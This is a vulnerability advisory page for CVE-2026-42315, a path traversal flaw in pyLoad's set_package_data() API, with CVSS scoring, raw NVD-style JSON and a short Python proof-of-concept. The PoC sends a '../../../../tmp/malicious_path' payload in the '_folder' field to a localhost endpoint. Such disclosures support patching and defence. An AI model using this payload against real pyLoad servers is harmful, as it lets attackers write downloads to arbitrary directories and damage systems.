Security Vulnerability Report
中文
CVE-2026-42315 CVSS 8.1 HIGH

CVE-2026-42315

Published: 2026-05-11 18:16:35
Last Modified: 2026-05-11 21:19:00

Description

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, when passing a folder name in the set_package_data() API function call inside the data object with key "_folder", there is no sanitization at all, allowing a user with Perms.MODIFY to specify arbitrary directories as download locations for a package. This vulnerability is fixed in 0.5.0b3.dev100.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

No configuration data available.

pyLoad < 0.5.0b3.dev100

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Example) target_url = "http://localhost:8000/api/set_package_data" # Payload data # The vulnerability lies in the "_folder" key not being sanitized payload = { "package_id": "test_package", "data": { "_folder": "../../../../tmp/malicious_path" } } # Session cookie or token for authentication (Perms.MODIFY required) cookies = { "pyload_session": "valid_session_cookie_here" } try: response = requests.post(target_url, json=payload, cookies=cookies) if response.status_code == 200: print("[+] PoC executed successfully. Check if directory traversal worked.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42315", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:35.260", "lastModified": "2026-05-11T21:19:00.410", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, when passing a folder name in the set_package_data() API function call inside the data object with key \"_folder\", there is no sanitization at all, allowing a user with Perms.MODIFY to specify arbitrary directories as download locations for a package. This vulnerability is fixed in 0.5.0b3.dev100."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-36"}]}], "references": [{"url": "https://github.com/pyload/pyload/security/advisories/GHSA-838g-gr43-qqg9", "source": "[email protected]"}, {"url": "https://github.com/pyload/pyload/security/advisories/GHSA-838g-gr43-qqg9", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}